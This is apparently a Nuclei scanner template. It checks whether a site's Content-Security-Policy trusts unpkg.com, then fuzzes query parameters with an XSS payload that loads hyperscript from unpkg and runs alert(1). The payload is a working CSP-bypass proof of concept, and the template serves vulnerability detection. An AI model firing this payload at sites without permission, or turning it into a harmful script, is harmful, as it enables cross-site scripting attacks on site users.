id: unpkg-hyperscript-csp-bypass

info:
  name: Content-Security-Policy Bypass - Unpkg Hyperscript
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,unpkg-hyperscript

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "unpkg.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: unpkg_hyperscript_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://unpkg.com/hyperscript.org"></script><x _="on load alert(1)">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "unpkg_hyperscript_csp_xss == true"
# digest: 490a00463044022054324576dfe2379c8adbff21afbaa6f40dad13c87c83861a2dfc9ef2d9d5aa1802205726ddbb9d689b407d51009c5e4625fe32aff83d4f3157db1103ca1c806ac147:922c64590222798bb761d5b6d8e72950